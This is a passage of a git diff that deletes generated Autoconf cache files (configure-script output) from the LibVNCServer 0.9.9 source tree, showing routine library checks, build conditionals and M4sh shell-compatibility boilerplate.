-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_socket_socket" >&5
-$as_echo "$ac_cv_lib_socket_socket" >&6; }
-if test "x$ac_cv_lib_socket_socket" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBSOCKET 1
-_ACEOF
-
- LIBS="-lsocket $LIBS"
-
-fi
-
-
-uname_s=`(uname -s) 2>/dev/null`
-if test "x$uname_s" = "xHP-UX"; then
- # need -lsec for getspnam()
- LDFLAGS="$LDFLAGS -lsec"
-fi
-
-for ac_func in ftime gethostbyname gethostname gettimeofday inet_ntoa memmove memset mmap mkfifo select socket strchr strcspn strdup strerror strstr
-do :
- as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
-ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var"
-if eval test \"x\$"$as_ac_var"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-done
-
-# x11vnc only:
-if test "$build_x11vnc" = "yes"; then
- for ac_func in setsid setpgrp getpwuid getpwnam getspnam getuid geteuid setuid setgid seteuid setegid initgroups waitpid setutxent grantpt shmat
-do :
- as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
-ac_fn_c_check_func "$LINENO" "$ac_func" "$as_ac_var"
-if eval test \"x\$"$as_ac_var"\" = x"yes"; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define `$as_echo "HAVE_$ac_func" | $as_tr_cpp` 1
-_ACEOF
-
-fi
-done
-
-fi
-
-# check, if shmget is in cygipc.a
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for shmget in -lcygipc" >&5
-$as_echo_n "checking for shmget in -lcygipc... " >&6; }
-if ${ac_cv_lib_cygipc_shmget+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- ac_check_lib_save_LIBS=$LIBS
-LIBS="-lcygipc $LIBS"
-cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-/* end confdefs.h. */
-
-/* Override any GCC internal prototype to avoid an error.
- Use char because int might match the return type of a GCC
- builtin and then its argument prototype would still apply. */
-#ifdef __cplusplus
-extern "C"
-#endif
-char shmget ();
-int
-main ()
-{
-return shmget ();
- ;
- return 0;
-}
-_ACEOF
-if ac_fn_c_try_link "$LINENO"; then :
- ac_cv_lib_cygipc_shmget=yes
-else
- ac_cv_lib_cygipc_shmget=no
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-LIBS=$ac_check_lib_save_LIBS
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_cygipc_shmget" >&5
-$as_echo "$ac_cv_lib_cygipc_shmget" >&6; }
-if test "x$ac_cv_lib_cygipc_shmget" = xyes; then :
- cat >>confdefs.h <<_ACEOF
-@%:@define HAVE_LIBCYGIPC 1
-_ACEOF
-
- LIBS="-lcygipc $LIBS"
-
-fi
-
- if test "$HAVE_CYGIPC" = "true"; then
- CYGIPC_TRUE=
- CYGIPC_FALSE='#'
-else
- CYGIPC_TRUE='#'
- CYGIPC_FALSE=
-fi
-
-
-# Check if /usr/include/linux exists, if so, define LINUX
- if test -d /usr/include/linux; then
- LINUX_TRUE=
- LINUX_FALSE='#'
-else
- LINUX_TRUE='#'
- LINUX_FALSE=
-fi
-
-
-# Check for OS X specific header
-ac_fn_c_check_header_mongrel "$LINENO" "ApplicationServices/ApplicationServices.h" "ac_cv_header_ApplicationServices_ApplicationServices_h" "$ac_includes_default"
-if test "x$ac_cv_header_ApplicationServices_ApplicationServices_h" = xyes; then :
- HAVE_OSX="true"
-fi
-
-
- if test "$HAVE_OSX" = "true"; then
- OSX_TRUE=
- OSX_FALSE='#'
-else
- OSX_TRUE='#'
- OSX_FALSE=
-fi
-
-
-# Check for Android specific header
-ac_fn_c_check_header_mongrel "$LINENO" "android/api-level.h" "ac_cv_header_android_api_level_h" "$ac_includes_default"
-if test "x$ac_cv_header_android_api_level_h" = xyes; then :
- HAVE_ANDROID="true"
-fi
-
-
- if test "$HAVE_ANDROID" = "true"; then
- ANDROID_TRUE=
- ANDROID_FALSE='#'
-else
- ANDROID_TRUE='#'
- ANDROID_FALSE=
-fi
-
-if test "$HAVE_ANDROID" = "true"; then
-
-$as_echo "@%:@define HAVE_ANDROID 1" >>confdefs.h
-
-fi
-
-# On Solaris 2.7, write() returns ENOENT when it really means EAGAIN
-
-case `(uname -sr) 2>/dev/null` in
- "SunOS 5.7")
- $as_echo "@%:@define ENOENT_WORKAROUND 1" >>confdefs.h
-
- ;;
-esac
-
-# Check for rpm SOURCES path
-printf "checking for rpm sources path... "
-RPMSOURCEDIR="NOT-FOUND"
-for directory in packages OpenLinux redhat RedHat rpm RPM "" ; do
- if test -d /usr/src/${directory}/SOURCES; then
- RPMSOURCEDIR="/usr/src/${directory}/SOURCES/"
- fi
-done
-echo "$RPMSOURCEDIR"
- if test "$RPMSOURCEDIR" != "NOT-FOUND"; then
- HAVE_RPM_TRUE=
- HAVE_RPM_FALSE='#'
-else
- HAVE_RPM_TRUE='#'
- HAVE_RPM_FALSE=
-fi
-
- if test "$build_x11vnc" = "yes"; then
- WITH_X11VNC_TRUE=
- WITH_X11VNC_FALSE='#'
-else
- WITH_X11VNC_TRUE='#'
- WITH_X11VNC_FALSE=
-fi
-
-
-
-ac_config_files="$ac_config_files Makefile libvncserver.pc libvncclient.pc libvncserver/Makefile examples/Makefile examples/android/Makefile vncterm/Makefile webclients/Makefile webclients/java-applet/Makefile webclients/java-applet/ssl/Makefile libvncclient/Makefile client_examples/Makefile test/Makefile libvncserver-config LibVNCServer.spec"
-
-#
-# x11vnc only:
-#
-if test "$build_x11vnc" = "yes"; then
- #
- # NOTE: if you are using the LibVNCServer-X.Y.Z.tar.gz source
- # tarball and nevertheless want to run autoconf (i.e. aclocal,
- # autoheader, automake, autoconf) AGAIN (perhaps you have a
- # special target system, e.g. embedded) then you will need to
- # comment out the following 'AC_CONFIG_FILES' line to avoid
- # automake error messages like:
- #
- # configure.ac:690: required file `x11vnc/Makefile.in' not found
- #
- ac_config_files="$ac_config_files x11vnc/Makefile x11vnc/misc/Makefile x11vnc/misc/turbovnc/Makefile"
-
-
- if test ! -z "$with_system_libvncserver" -a "x$with_system_libvncserver" != "xno"; then
- # need to move local tarball rfb headers aside:
- hdrs="rfb.h rfbclient.h rfbproto.h rfbregion.h rfbint.h"
- echo "with-system-libvncserver: moving aside headers $hdrs"
- for hdr in $hdrs
- do
- if test -f "rfb/$hdr"; then
- echo "with-system-libvncserver: moving rfb/$hdr to rfb/$hdr.ORIG"
- mv rfb/$hdr rfb/$hdr.ORIG
- fi
- done
- echo "with-system-libvncserver: *NOTE* move them back manually to start over."
- fi
-fi
-
-ac_config_commands="$ac_config_commands chmod-libvncserver-config"
-
-cat >confcache <<\_ACEOF
-# This file is a shell script that caches the results of configure
-# tests run on this system so they can be shared between configure
-# scripts and configure runs, see configure's option --config-cache.
-# It is not useful on other systems. If it contains results you don't
-# want to keep, you may remove or edit it.
-#
-# config.status only pays attention to the cache file if you give it
-# the --recheck option to rerun configure.
-#
-# `ac_cv_env_foo' variables (set or unset) will be overridden when
-# loading this file, other *unset* `ac_cv_foo' will be assigned the
-# following values.
-
-_ACEOF
-
-# The following way of writing the cache mishandles newlines in values,
-# but we know of no workaround that is simple, portable, and efficient.
-# So, we kill variables containing newlines.
-# Ultrix sh set writes to stderr and can't be redirected directly,
-# and sets the high bit in the cache file unless we assign to the vars.
-(
- for ac_var in `(set) 2>&1 | sed -n 's/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'`; do
- eval ac_val=\$$ac_var
- case $ac_val in #(
- *${as_nl}*)
- case $ac_var in #(
- *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5
-$as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;;
- esac
- case $ac_var in #(
- _ | IFS | as_nl) ;; #(
- BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #(
- *) { eval $ac_var=; unset $ac_var;} ;;
- esac ;;
- esac
- done
-
- (set) 2>&1 |
- case $as_nl`(ac_space=' '; set) 2>&1` in #(
- *${as_nl}ac_space=\ *)
- # `set' does not quote correctly, so add quotes: double-quote
- # substitution turns \\\\ into \\, and sed turns \\ into \.
- sed -n \
- "s/'/'\\\\''/g;
- s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p"
- ;; #(
- *)
- # `set' quotes correctly as required by POSIX, so do not add quotes.
- sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p"
- ;;
- esac |
- sort
-) |
- sed '
- /^ac_cv_env_/b end
- t clear
- :clear
- s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/
- t end
- s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/
- :end' >>confcache
-if diff "$cache_file" confcache >/dev/null 2>&1; then :; else
- if test -w "$cache_file"; then
- if test "x$cache_file" != "x/dev/null"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: updating cache $cache_file" >&5
-$as_echo "$as_me: updating cache $cache_file" >&6;}
- if test ! -f "$cache_file" || test -h "$cache_file"; then
- cat confcache >"$cache_file"
- else
- case $cache_file in #(
- */* | ?:*)
- mv -f confcache "$cache_file"$$ &&
- mv -f "$cache_file"$$ "$cache_file" ;; #(
- *)
- mv -f confcache "$cache_file" ;;
- esac
- fi
- fi
- else
- { $as_echo "$as_me:${as_lineno-$LINENO}: not updating unwritable cache $cache_file" >&5
-$as_echo "$as_me: not updating unwritable cache $cache_file" >&6;}
- fi
-fi
-rm -f confcache
-
-test "x$prefix" = xNONE && prefix=$ac_default_prefix
-# Let make expand exec_prefix.
-test "x$exec_prefix" = xNONE && exec_prefix='${prefix}'
-
-DEFS=-DHAVE_CONFIG_H
-
-ac_libobjs=
-ac_ltlibobjs=
-U=
-for ac_i in : $LIB@&t@OBJS; do test "x$ac_i" = x: && continue
- # 1. Remove the extension, and $U if already installed.
- ac_script='s/\$U\././;s/\.o$//;s/\.obj$//'
- ac_i=`$as_echo "$ac_i" | sed "$ac_script"`
- # 2. Prepend LIBOBJDIR. When used with automake>=1.10 LIBOBJDIR
- # will be set to the directory where LIBOBJS objects are built.
- as_fn_append ac_libobjs " \${LIBOBJDIR}$ac_i\$U.$ac_objext"
- as_fn_append ac_ltlibobjs " \${LIBOBJDIR}$ac_i"'$U.lo'
-done
-LIB@&t@OBJS=$ac_libobjs
-
-LTLIBOBJS=$ac_ltlibobjs
-
-
- if test -n "$EXEEXT"; then
- am__EXEEXT_TRUE=
- am__EXEEXT_FALSE='#'
-else
- am__EXEEXT_TRUE='#'
- am__EXEEXT_FALSE=
-fi
-
-if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then
- as_fn_error $? "conditional \"AMDEP\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"; then
- as_fn_error $? "conditional \"am__fastdepCC\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${am__fastdepCXX_TRUE}" && test -z "${am__fastdepCXX_FALSE}"; then
- as_fn_error $? "conditional \"am__fastdepCXX\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${WITH_FFMPEG_TRUE}" && test -z "${WITH_FFMPEG_FALSE}"; then
- as_fn_error $? "conditional \"WITH_FFMPEG\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_MP3LAME_TRUE}" && test -z "${HAVE_MP3LAME_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_MP3LAME\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBSSL_TRUE}" && test -z "${HAVE_LIBSSL_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBSSL\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_X11_TRUE}" && test -z "${HAVE_X11_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_X11\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${OSX_OPENGL_TRUE}" && test -z "${OSX_OPENGL_FALSE}"; then
- as_fn_error $? "conditional \"OSX_OPENGL\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_SYSTEM_LIBVNCSERVER_TRUE}" && test -z "${HAVE_SYSTEM_LIBVNCSERVER_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_SYSTEM_LIBVNCSERVER\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBPTHREAD_TRUE}" && test -z "${HAVE_LIBPTHREAD_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBPTHREAD\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${WITH_TIGHTVNC_FILETRANSFER_TRUE}" && test -z "${WITH_TIGHTVNC_FILETRANSFER_FALSE}"; then
- as_fn_error $? "conditional \"WITH_TIGHTVNC_FILETRANSFER\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${WITH_WEBSOCKETS_TRUE}" && test -z "${WITH_WEBSOCKETS_FALSE}"; then
- as_fn_error $? "conditional \"WITH_WEBSOCKETS\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBZ_TRUE}" && test -z "${HAVE_LIBZ_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBZ\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBJPEG_TRUE}" && test -z "${HAVE_LIBJPEG_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBJPEG\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBPNG_TRUE}" && test -z "${HAVE_LIBPNG_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBPNG\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBSDL_TRUE}" && test -z "${HAVE_LIBSDL_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBSDL\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_LIBGTK_TRUE}" && test -z "${HAVE_LIBGTK_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_LIBGTK\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${MINGW_TRUE}" && test -z "${MINGW_FALSE}"; then
- as_fn_error $? "conditional \"MINGW\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_GNUTLS_TRUE}" && test -z "${HAVE_GNUTLS_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_GNUTLS\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-
-if test -z "${CYGIPC_TRUE}" && test -z "${CYGIPC_FALSE}"; then
- as_fn_error $? "conditional \"CYGIPC\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${LINUX_TRUE}" && test -z "${LINUX_FALSE}"; then
- as_fn_error $? "conditional \"LINUX\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${OSX_TRUE}" && test -z "${OSX_FALSE}"; then
- as_fn_error $? "conditional \"OSX\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${ANDROID_TRUE}" && test -z "${ANDROID_FALSE}"; then
- as_fn_error $? "conditional \"ANDROID\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${HAVE_RPM_TRUE}" && test -z "${HAVE_RPM_FALSE}"; then
- as_fn_error $? "conditional \"HAVE_RPM\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-if test -z "${WITH_X11VNC_TRUE}" && test -z "${WITH_X11VNC_FALSE}"; then
- as_fn_error $? "conditional \"WITH_X11VNC\" was never defined.
-Usually this means the macro was only invoked conditionally." "$LINENO" 5
-fi
-
-: "${CONFIG_STATUS=./config.status}"
-ac_write_fail=0
-ac_clean_files_save=$ac_clean_files
-ac_clean_files="$ac_clean_files $CONFIG_STATUS"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: creating $CONFIG_STATUS" >&5
-$as_echo "$as_me: creating $CONFIG_STATUS" >&6;}
-as_write_fail=0
-cat >$CONFIG_STATUS <<_ASEOF || as_write_fail=1
-#! $SHELL
-# Generated by $as_me.
-# Run this file to recreate the current configuration.
-# Compiler output produced by configure, useful for debugging
-# configure, is in config.log if it exists.
-
-debug=false
-ac_cs_recheck=false
-ac_cs_silent=false
-
-SHELL=\${CONFIG_SHELL-$SHELL}
-export SHELL
-_ASEOF
-cat >>$CONFIG_STATUS <<\_ASEOF || as_write_fail=1
-## -------------------- ##
-## M4sh Initialization. ##
-## -------------------- ##
-
-# Be more Bourne compatible
-DUALCASE=1; export DUALCASE # for MKS sh
-if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then :
- emulate sh
- NULLCMD=:
- # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which
- # is contrary to our usage. Disable this feature.
- alias -g '${1+"$@"}'='"$@"'
- setopt NO_GLOB_SUBST
-else
- case `(set -o) 2>/dev/null` in @%:@(
- *posix*) :
- set -o posix ;; @%:@(
- *) :
- ;;
-esac
-fi
-
-
-as_nl='
-'
-export as_nl
-# Printing a long string crashes Solaris 7 /usr/bin/printf.
-as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'
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-as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo
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- && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then
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- as_echo_n='print -rn --'
-elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then
- as_echo='printf %s\n'
- as_echo_n='printf %s'
-else
- if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then
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- as_echo_n='/usr/ucb/echo -n'
- else
- as_echo_body='eval expr "X$1" : "X\\(.*\\)"'
- as_echo_n_body='eval
- arg=$1;
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- esac;
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- '
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- fi
- export as_echo_body
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- (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && {
- (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 ||
- PATH_SEPARATOR=';'
- }
-fi
-
-
-# IFS
-# We need space, tab and new line, in precisely that order. Quoting is
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-
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-done
-PS1='$ '
-PS2='> '
-PS4='+ '
-
-# NLS nuisances.
-LC_ALL=C
-export LC_ALL
-LANGUAGE=C
-export LANGUAGE
-
-# CDPATH.
-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-
-@%:@ as_fn_error STATUS ERROR [LINENO LOG_FD]
-@%:@ ----------------------------------------
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-{
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-
-
-@%:@ as_fn_set_status STATUS
-@%:@ -----------------------
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-{
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-
-@%:@ as_fn_exit STATUS
-@%:@ -----------------
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-as_fn_exit ()
-{
- set +e
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- exit $1
-} @%:@ as_fn_exit
-
-@%:@ as_fn_unset VAR
-@%:@ ---------------
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-{
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-@%:@ ----------------------
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-@%:@ implementations.
-if (eval "as_var=1; as_var+=2; test x\$as_var = x12") 2>/dev/null; then :
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- {
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- }'
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- as_fn_append ()
- {
- eval $1=\$$1\$2
- }
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-
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- {
- as_val=$(( $* ))
- }'
-else
- as_fn_arith ()
- {
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- }
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-
-
-if expr a : '\(a\)' >/dev/null 2>&1 &&
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-else
- as_expr=false
-fi
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-if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then
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-else
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-
-if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then
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-else
- as_dirname=false
-fi
-
-as_me=`$as_basename -- "$0" ||
-$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \
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-chmod a+x ./libvncserver-config
-
diff --git a/autom4te.cache/output.1 b/autom4te.cache/output.1
deleted file mode 100644
index fa4f2ae..0000000
--- a/autom4te.cache/output.1
+++ /dev/null
@@ -1,26571 +0,0 @@
-@%:@! /bin/sh
-@%:@ Guess values for system-dependent variables and create Makefiles.
-@%:@ Generated by GNU Autoconf 2.69 for LibVNCServer 0.9.9.
-@%:@
-@%:@ Report bugs to <http://sourceforge.net/projects/libvncserver>.
-@%:@
-@%:@
-@%:@ Copyright (C) 1992-1996, 1998-2012 Free Software Foundation, Inc.
-@%:@
-@%:@
-@%:@ This configure script is free software; the Free Software Foundation
-@%:@ gives unlimited permission to copy, distribute and modify it.
-## -------------------- ##
-## M4sh Initialization. ##
-## -------------------- ##
-
-# Be more Bourne compatible
-DUALCASE=1; export DUALCASE # for MKS sh
-if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then :
- emulate sh
- NULLCMD=:
- # Pre-4.2 versions of Zsh do word splitting on ${1+"$@"}, which
- # is contrary to our usage. Disable this feature.
- alias -g '${1+"$@"}'='"$@"'
- setopt NO_GLOB_SUBST
-else
- case `(set -o) 2>/dev/null` in @%:@(
- *posix*) :
- set -o posix ;; @%:@(
- *) :
- ;;
-esac
-fi
-
-
-as_nl='
-'
-export as_nl
-# Printing a long string crashes Solaris 7 /usr/bin/printf.
-as_echo='\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\'
-as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo
-as_echo=$as_echo$as_echo$as_echo$as_echo$as_echo$as_echo
-# Prefer a ksh shell builtin over an external printf program on Solaris,
-# but without wasting forks for bash or zsh.
-if test -z "$BASH_VERSION$ZSH_VERSION" \
- && (test "X`print -r -- $as_echo`" = "X$as_echo") 2>/dev/null; then
- as_echo='print -r --'
- as_echo_n='print -rn --'
-elif (test "X`printf %s $as_echo`" = "X$as_echo") 2>/dev/null; then
- as_echo='printf %s\n'
- as_echo_n='printf %s'
-else
- if test "X`(/usr/ucb/echo -n -n $as_echo) 2>/dev/null`" = "X-n $as_echo"; then
- as_echo_body='eval /usr/ucb/echo -n "$1$as_nl"'
- as_echo_n='/usr/ucb/echo -n'
- else
- as_echo_body='eval expr "X$1" : "X\\(.*\\)"'
- as_echo_n_body='eval
- arg=$1;
- case $arg in @%:@(
- *"$as_nl"*)
- expr "X$arg" : "X\\(.*\\)$as_nl";
- arg=`expr "X$arg" : ".*$as_nl\\(.*\\)"`;;
- esac;
- expr "X$arg" : "X\\(.*\\)" | tr -d "$as_nl"
- '
- export as_echo_n_body
- as_echo_n='sh -c $as_echo_n_body as_echo'
- fi
- export as_echo_body
- as_echo='sh -c $as_echo_body as_echo'
-fi
-
-# The user is always right.
-if test "${PATH_SEPARATOR+set}" != set; then
- PATH_SEPARATOR=:
- (PATH='/bin;/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 && {
- (PATH='/bin:/bin'; FPATH=$PATH; sh -c :) >/dev/null 2>&1 ||
- PATH_SEPARATOR=';'
- }
-fi
-
-
-# IFS
-# We need space, tab and new line, in precisely that order. Quoting is
-# there to prevent editors from complaining about space-tab.
-# (If _AS_PATH_WALK were called with IFS unset, it would disable word
-# splitting by setting IFS to empty value.)
-IFS=" "" $as_nl"
-
-# Find who we are. Look in the path if we contain no directory separator.
-as_myself=
-case $0 in @%:@((
- *[\\/]* ) as_myself=$0 ;;
- *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break
- done
-IFS=$as_save_IFS
-
- ;;
-esac
-# We did not find ourselves, most probably we were run as `sh COMMAND'
-# in which case we are not to be found in the path.
-if test "x$as_myself" = x; then
- as_myself=$0
-fi
-if test ! -f "$as_myself"; then
- $as_echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2
- exit 1
-fi
-
-# Unset variables that we do not need and which cause bugs (e.g. in
-# pre-3.0 UWIN ksh). But do not cause bugs in bash 2.01; the "|| exit 1"
-# suppresses any "Segmentation fault" message there. '((' could
-# trigger a bug in pdksh 5.2.14.
-for as_var in BASH_ENV ENV MAIL MAILPATH
-do eval test x\${$as_var+set} = xset \
- && ( (unset $as_var) || exit 1) >/dev/null 2>&1 && unset $as_var || :
-done
-PS1='$ '
-PS2='> '
-PS4='+ '
-
-# NLS nuisances.
-LC_ALL=C
-export LC_ALL
-LANGUAGE=C
-export LANGUAGE
-
-# CDPATH.
-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-# Use a proper internal environment variable to ensure we don't fall
- # into an infinite loop, continuously re-executing ourselves.
- if test x"${_as_can_reexec}" != xno && test "x$CONFIG_SHELL" != x; then
- _as_can_reexec=no; export _as_can_reexec;
- # We cannot yet assume a decent shell, so we have to provide a
-# neutralization value for shells without unset; and this also
-# works around shells that cannot unset nonexistent variables.
-# Preserve -v and -x to the replacement shell.
-BASH_ENV=/dev/null
-ENV=/dev/null
-(unset BASH_ENV) >/dev/null 2>&1 && unset BASH_ENV ENV
-case $- in @%:@ ((((
- *v*x* | *x*v* ) as_opts=-vx ;;
- *v* ) as_opts=-v ;;
- *x* ) as_opts=-x ;;
- * ) as_opts= ;;
-esac
-exec $CONFIG_SHELL $as_opts "$as_myself" ${1+"$@"}
-# Admittedly, this is quite paranoid, since all the known shells bail
-# out after a failed `exec'.
-$as_echo "$0: could not re-execute with $CONFIG_SHELL" >&2
-as_fn_exit 255
- fi
- # We don't want this to propagate to other subprocesses.
- { _as_can_reexec=; unset _as_can_reexec;}
-if test "x$CONFIG_SHELL" = x; then
- as_bourne_compatible="if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then :
- emulate sh
- NULLCMD=:
- # Pre-4.2 versions of Zsh do word splitting on \${1+\"\$@\"}, which
- # is contrary to our usage. Disable this feature.
- alias -g '\${1+\"\$@\"}'='\"\$@\"'
- setopt NO_GLOB_SUBST
-else
- case \`(set -o) 2>/dev/null\` in @%:@(
- *posix*) :
- set -o posix ;; @%:@(
- *) :
- ;;
-esac
-fi
-"
- as_required="as_fn_return () { (exit \$1); }
-as_fn_success () { as_fn_return 0; }
-as_fn_failure () { as_fn_return 1; }
-as_fn_ret_success () { return 0; }
-as_fn_ret_failure () { return 1; }
-
-exitcode=0
-as_fn_success || { exitcode=1; echo as_fn_success failed.; }
-as_fn_failure && { exitcode=1; echo as_fn_failure succeeded.; }
-as_fn_ret_success || { exitcode=1; echo as_fn_ret_success failed.; }
-as_fn_ret_failure && { exitcode=1; echo as_fn_ret_failure succeeded.; }
-if ( set x; as_fn_ret_success y && test x = \"\$1\" ); then :
-
-else
- exitcode=1; echo positional parameters were not saved.
-fi
-test x\$exitcode = x0 || exit 1
-test -x / || exit 1"
- as_suggested=" as_lineno_1=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_1a=\$LINENO
- as_lineno_2=";as_suggested=$as_suggested$LINENO;as_suggested=$as_suggested" as_lineno_2a=\$LINENO
- eval 'test \"x\$as_lineno_1'\$as_run'\" != \"x\$as_lineno_2'\$as_run'\" &&
- test \"x\`expr \$as_lineno_1'\$as_run' + 1\`\" = \"x\$as_lineno_2'\$as_run'\"' || exit 1
-test \$(( 1 + 1 )) = 2 || exit 1"
- if (eval "$as_required") 2>/dev/null; then :
- as_have_required=yes
-else
- as_have_required=no
-fi
- if test x$as_have_required = xyes && (eval "$as_suggested") 2>/dev/null; then :
-
-else
- as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-as_found=false
-for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- as_found=:
- case $as_dir in @%:@(
- /*)
- for as_base in sh bash ksh sh5; do
- # Try only shells that exist, to save several forks.
- as_shell=$as_dir/$as_base
- if { test -f "$as_shell" || test -f "$as_shell.exe"; } &&
- { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$as_shell"; } 2>/dev/null; then :
- CONFIG_SHELL=$as_shell as_have_required=yes
- if { $as_echo "$as_bourne_compatible""$as_suggested" | as_run=a "$as_shell"; } 2>/dev/null; then :
- break 2
-fi
-fi
- done;;
- esac
- as_found=false
-done
-$as_found || { if { test -f "$SHELL" || test -f "$SHELL.exe"; } &&
- { $as_echo "$as_bourne_compatible""$as_required" | as_run=a "$SHELL"; } 2>/dev/null; then :
- CONFIG_SHELL=$SHELL as_have_required=yes
-fi; }
-IFS=$as_save_IFS
-
-
- if test "x$CONFIG_SHELL" != x; then :
- export CONFIG_SHELL
- # We cannot yet assume a decent shell, so we have to provide a
-# neutralization value for shells without unset; and this also
